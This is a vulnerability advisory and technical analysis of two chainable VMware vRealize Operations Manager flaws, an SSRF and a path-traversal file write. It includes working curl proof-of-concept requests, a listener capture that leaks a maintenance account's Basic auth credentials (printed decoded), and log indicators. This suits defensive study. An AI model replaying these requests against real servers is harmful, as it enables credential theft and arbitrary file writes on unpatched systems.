Lucene search

K
seebug
KnownsecSSV:99173
HistoryMar 31, 2021 - 12:00 a.m.

VMware vRealize Operations Manager SSRF和文件读取漏洞(CVE-2021-21975 CVE-2021-21983)

2021-03-3100:00:00
Knownsec
www.seebug.org
47

Description

On March 30, 2021, VMware published a security advisory for CVE-2021-21975 and CVE-2021-21983, two chainable vulnerabilities in its vRealize Operations Manager product. CVE-2021-21975 is an unauthenticated server-side request forgery (SSRF), while CVE-2021-21983 is an authenticated arbitrary file write. Successfully chaining both vulnerabilities achieves unauthenticated remote code execution (RCE) in vRealize Operations Manager and any product using it as a component.

At the time of public disclosure, Positive Technologies tweeted about CVE-2021-21975 and CVE-2021-21983, which were both discovered by their researcher Egor Dimitrenko.

Affected products

  • vRealize Operations Manager
    • 7.0.0
    • 7.5.0
    • 8.0.0, 8.0.1
    • 8.1.0, 8.1.1
    • 8.2.0
    • 8.3.0
  • VMware Cloud Foundation (vROps)
    • 3.x
    • 4.x
  • vRealize Suite Lifecycle Manager (vROps)
    • 8.x

Technical analysis

CVE-2021-21975 is the primary focus of this analysis.

CVE-2021-21975 (SSRF)

/nodes/thumbprints (mapped to /casa/nodes/thumbprints) is an unauthenticated endpoint.

  <sec:http pattern="/nodes/thumbprints" security='none'/>

It accepts a POST request whose body is a JSON array of network address strings.

  @RequestMapping(value = {"/nodes/thumbprints"}, method = {RequestMethod.POST})
  @ResponseStatus(HttpStatus.OK)
  public ArrayList<ThumbprintResource> getNodesThumbprints(@RequestBody String[] addresses) {
    return this.clusterDefService.getNodesThumbprints(new HashSet(Arrays.asList((Object[])addresses)));
  }

Each address is sent a crafted GET request, leading to a partially controlled SSRF.

  public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) {
    ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>();
    if (null == addresses) {
      return ipToThumbprint;
    }
    configureInsecurRestTemplate();

    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate);








    HttpMapResponse[] responses = f.execute();

    for (HttpMapResponse resp : responses) {
      if (resp.getHttpCode() == HttpStatus.OK.value()) {
        String data = resp.getDocument().replace('"', ' ').trim();
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data));
      } else {
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null));
      }
    }

    return ipToThumbprint;
  }

PoC

The provided workaround provided enough information to develop a PoC.

wvu@kharak:~$ curl -k https://192.168.123.185/casa/nodes/thumbprints -H "Content-Type: application/json" -d '["192.168.123.1:8443/#"]'

Appending # (presumably URI fragment syntax) to the SSRF URI allows for full control of the GET request path.

wvu@kharak:~$ ncat -lkv --ssl 8443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: DD68 63E6 C329 1851 F74F 797A F684 7823 207A 55E7
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 192.168.123.185.
Ncat: Connection from 192.168.123.185:36070.
GET / HTTP/1.1
Accept: application/xml, application/json
Content-Type: application/json
Accept-Charset: big5, big5-hkscs, cesu-8, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm-thai, ibm00858, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01147, ibm01148, ibm01149, ibm037, ibm1026, ibm1047, ibm273, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibm424, ibm437, ibm500, ibm775, ibm850, ibm852, ibm855, ibm857, ibm860, ibm861, ibm862, ibm863, ibm864, ibm865, ibm866, ibm868, ibm869, ibm870, ibm871, ibm918, iso-2022-cn, iso-2022-jp, iso-2022-jp-2, iso-2022-kr, iso-8859-1, iso-8859-13, iso-8859-15, iso-8859-2, iso-8859-3, iso-8859-4, iso-8859-5, iso-8859-6, iso-8859-7, iso-8859-8, iso-8859-9, jis_x0201, jis_x0212-1990, koi8-r, koi8-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-16le, utf-32, utf-32be, utf-32le, utf-8, windows-1250, windows-1251, windows-1252, windows-1253, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-big5-hkscs-2001, x-big5-solaris, x-compound_text, x-euc-jp-linux, x-euc-tw, x-eucjp-open, x-ibm1006, x-ibm1025, x-ibm1046, x-ibm1097, x-ibm1098, x-ibm1112, x-ibm1122, x-ibm1123, x-ibm1124, x-ibm1166, x-ibm1364, x-ibm1381, x-ibm1383, x-ibm300, x-ibm33722, x-ibm737, x-ibm833, x-ibm834, x-ibm856, x-ibm874, x-ibm875, x-ibm921, x-ibm922, x-ibm930, x-ibm933, x-ibm935, x-ibm937, x-ibm939, x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm948, x-ibm949, x-ibm949c, x-ibm950, x-ibm964, x-ibm970, x-iscii91, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-8859-11, x-jis0208, x-jisautodetect, x-johab, x-macarabic, x-maccentraleurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x-macthai, x-macturkish, x-macukraine, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs-xp, x-mswin-936, x-pck, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-utf-32le-bom, x-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-iso2022jp
X-VSCM-Request-Id: ak00003Y
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_212
Host: 192.168.123.1:8443
Connection: keep-alive

Note the Authorization: Basic header, which is present in older vulnerable versions but missing from 8.3.0. The Base64 bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY= decodes to the credentials maintenanceAdmin:RfdsxK/5M4MSk2si174KIhDV.

CVE-2021-21983 (file write)

CVE-2021-21983 is a path traversal in the /casa/private/config/slice/ha/certificate endpoint.

  @RequestMapping(value = {"/private/config/slice/ha/certificate"}, method = {RequestMethod.POST})
  @ResponseBody
  @ResponseStatus(HttpStatus.OK)
  @Auditable(category = Auditable.Category.CONFIG_SLICE_CERTIFICATE, auditMessage = "Accepting replicated certificate from Master slice")
  public void handleCertificateUpload(@RequestParam("name") String name, @RequestParam("file") MultipartFile multiPartFile) {
    try {
      this.certificateService.handleCertificateFile(multiPartFile, name);
    } catch (Exception e) {
      this.log.error("Error handling replica certificate upload: {}", e);
      throw new CasaException(e, "Failed to upload replica certificate");
    }
  }
   void handleCertificateFile(MultipartFile multiPartFile, String fileName) {
+    if (fileName == null || !fileName.equals("cakey.pem")) {
+      throw new CasaException("Wrong cert file name is provided");
+    }
     File certFile = new File(this.certDirPath, fileName);

     try {
       multiPartFile.transferTo(certFile);

       certFile.setExecutable(false, false);
     } catch (Exception e) {
       throw new CasaException("Error writing Certificate file: " + certFile.getAbsolutePath(), e);
     }
   }

PoC

wvu@kharak:~$ curl -kH "Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=" https://192.168.123.185/casa/private/config/slice/ha/certificate -F name=../../../../../tmp/vulnerable -F "file=@-; filename=vulnerable" <<<vulnerable
wvu@kharak:~$
root@vRealizeClusterNode [ /tmp ]# ls -l vulnerable
-rw-r--r-- 1 admin admin 11 Apr  5 22:18 vulnerable
root@vRealizeClusterNode [ /tmp ]# cat vulnerable
vulnerable
root@vRealizeClusterNode [ /tmp ]#

IOCs

Numerous log files can be found in /usr/lib/vmware-casa/casa-webapp/logs. The file /usr/lib/vmware-casa/casa-webapp/logs/casa.log is of particular interest for tracking suspicious requests.

2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/nodes/thumbprints from 192.168.123.1: New request id ak0000BL
2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.HttpMapFunction:325 - execute, hosts=[192.168.123.1:8443/#], op=GET, relativeUrl=/node/thumbprint, doc={}
2021-04-03 07:58:33,116 [ak0000BL] [pool-36-thread-1]  INFO casa.support.HttpTask:128 - Making HTTP call to url=https://192.168.123.1:8443/#/casa/node/thumbprint
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - HTTP GET https://192.168.123.1:8443/#/casa/node/thumbprint
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Accept=[text/plain, application/json, application/*+json, */*]
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Writing [{}] as "application/json"
2021-04-03 07:58:33,118 [ak0000BL] [pool-36-thread-1]  INFO casa.support.MaintenanceUserUtils:33 - Maintenance User credentials initialized
2021-04-03 07:58:43,114 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  WARN casa.support.HttpMapFunction:414 - Error retrieving HttpTask future: java.util.concurrent.CancellationException
2021-04-03 07:58:43,116 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/nodes/thumbprints: Done
2021-04-05 22:18:22,066 [        ] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.security.UsernamePasswordAuthenticator:104 - Authenticated maintenance user 'maintenanceAdmin'
2021-04-05 22:18:22,066 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/private/config/slice/ha/certificate from 192.168.123.1: New request id ak0002Q9
2021-04-05 22:18:22,067 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/private/config/slice/ha/certificate: Done

Note that the SSRF most likely requires a callback address in order to extract the Authorization: Basic header and any credentials it contains.

Guidance

Please see the Response Matrix in the advisory for fixed versions and workarounds.

References

How to find holes in your network?

Try incredible fast Vulners Perimeter Scanner and find vulnerabilities and unnecessary ip and ports in network devices inside your network before anyone else.

Try Network Scanner
Related for SSV:99173